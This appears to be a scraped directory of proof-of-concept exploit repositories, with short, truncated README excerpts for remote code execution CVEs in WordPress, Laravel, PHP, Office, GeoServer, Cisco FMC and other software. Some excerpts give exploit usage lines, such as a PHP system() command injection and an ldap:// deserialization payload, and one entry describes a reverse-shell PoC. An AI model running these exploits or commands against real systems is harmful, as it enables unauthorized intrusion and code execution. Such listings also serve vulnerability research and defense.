WordPress_4.9.8_RCE_POC

Summary A simple PoC for WordPress RCE author priviledge, refer to CVE-2019-8942 and CVE-2019-8943. Affected Version WordPress " 3. Detect current theme by WPScan wpscan -u -et, e.g. twentyseventeen as default in wordpress 4.9.8 4. Upload the payload image file poc.jpg Login the author account;...

CVE-2021-3129-Script

CVE-2021-3129 Laravel = v8.4.2 debug mode: Remote code execution CVE-2021-3129 Use： python3 exp.py http://127.0.0.1:8888 Try to use Laravel/RCE1 for exploitation. +exploit: Laravel/RCE1 Result: Try to use Laravel/RCE2 for exploitation. +exploit: Laravel/RCE2 Result: Try to use Laravel/RCE3 for...

CVE-2020-2950

Oracle-BI CVE-2020-2950 AMF deseiralize Version: 5.5.0.0.0, 11.1.1.9.0, 12.2.1.3.0 Install:https://www.sql.edu.vn/obiee/oracle-business-intelligence-12c/ Ref: https://peterjson.medium.com/cve-2020-2950-turning-amf-deserialize-bug-to-java-deserialize-bug-2984a8542b6f Exploit - PoC amf.bin Header c...

cve-2024-4577

cve-2024-4577 poc Check for vulnerabilities python cve-2024-4577.py -u http://172.16.128.133 After a vulnerability is detected, you can use -c to execute a custom command python cve-2024-4577.py -u http://172.16.128.133 -c '?php system'whoami';'...

CVE-2021-40444-exp

CVE-2021-40444 PoC Malicious docx generator to exploit CVE-2021-40444 Microsoft Office Word Remote Code Execution Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 docx file You need to...

CVE-2014-0196

See https://vulners.com/cve/CVE-2014-0196...

CVE-2026-34159-Vulnerability-Research-Analysis-Detection

CVE-2026-34159-Vulnerability-Research-Analysis-Detection Critical buffer validation bypass in deserializetensor llama.cpp b8492. Null tensor buffer skips bounds check, enabling unauthenticated arbitrary R/W via GRAPHCOMPUTE. ASLR bypass + RCE over TCP 50052. Contains: Technical analysis & exploit...

CVE-2026-17532-lab

CVE-2026-17532 Lab - Seraphinite Accelerator: unauth XSS → 1-click RCE A Docker lab for CVE-2026-17532 , an unauthenticated reflected XSS in the WordPress plugin Seraphinite Accelerator that chains into remote code execution the moment a logged-in administrator opens one crafted link. Full writeu...

CVE-2026-20131

CVE-2026-20131 — Cisco Secure FMC Remote Code Execution Java Deserialization Severity: Critical CVSS 3.1: 10.0 CWE: CWE-502 — Deserialization of Untrusted Data Affected: Cisco Secure Firewall Management Center FMC Software Advisory: cisco-sa-fmc-rce-NKhnULJh Bug ID: CSCwt14636 Overview A...

CVE-2019-11395

CVE-2019-11395 Exploit 🛡️ About CVE-2019-11395 🕵️ The CVE-2019-11395 vulnerability describes a buffer overflow vulnerability in the MailCarrier 2.51 email application, allowing remote code execution. The vulnerability occurs in SMTP RCPT TO, POP3 USER, POP3 LIST, POP3 TOP, or POP3 RETR processes...

CVE-2020-1947

CVE-2020-1947 usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2024-38063

CVE-2024-38063 — Windows IPv6 Stack Vulnerability Analysis & PoC -red Technical analysis and Proof-of-Concept PoC for CVE-2024-38063 , a critical Remote Code Execution RCE vulnerability in the Windows IPv6 stack tcpip.sys. Discovered by KunLun Lab, this issue is zero-click , meaning it can be...

Elementor-Pro-Unauthenticated-Arbitrary-File-Upload-to-RCE

Exploit Author: Abdualhadi Khalifa https://x.com/absholi7ly Version: Elementor Pro = 4.2.1 Tested on: WordPress + Elementor Pro 4.2.1 Windows / Laragon / Apache CVE: CVE-2026-32475 Credits: Vulnerability discovered by Tin Pham TF1T via Patchstack Bug Bounty Program Category: WebApps Description:...

CVE-2021-41773

CVE-2021-41773 🐛 Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like...

CVE-2024-36401

RCE for CVE-2024-36401 POC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets. Overview POC for CVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer. This POC is based on the security advisory by phith0n. H...

CVE-2026-56705

CVE-2026-56705: Adminer dsn"sqlsrv:Server=$host" . $port ? ",$port" : "", $username, $password; Semicolons in server are treated as ODBC connection-attribute delimiters, so an unauthenticated attacker can append arbitrary attributes to the DSN — including TraceFile and TraceOn. The unixODBC trace...

cve-2022-41352-zimbra-rce

This repository does not have a README...

CVE-2025-22604-Cacti-RCE

CVE-2025-22604-Cacti-RCE...

CVE-2026-21962_Java_GUI_Exploit_Tool

CVE-2026-21962 Java GUI Exploit Tool Java GUI version of the Oracle WebLogic Server Proxy Plug-In RCE Remote Code Execution vulnerability exploitation tool. Project Structure java-version/ ├── pom.xml Maven project configuration file ├── README.md Project documentation ├── run.bat Windows startup...

CVE-2026-78162

CVE-2026-78162 — camel-hazelcast: managed instance without a Java deserialization filter Runnable proof-of-concept reproducer for the Apache Camel vulnerability where camel-hazelcast created Hazelcast instances without aJavaSerializationFilterConfig on two configuration paths that the...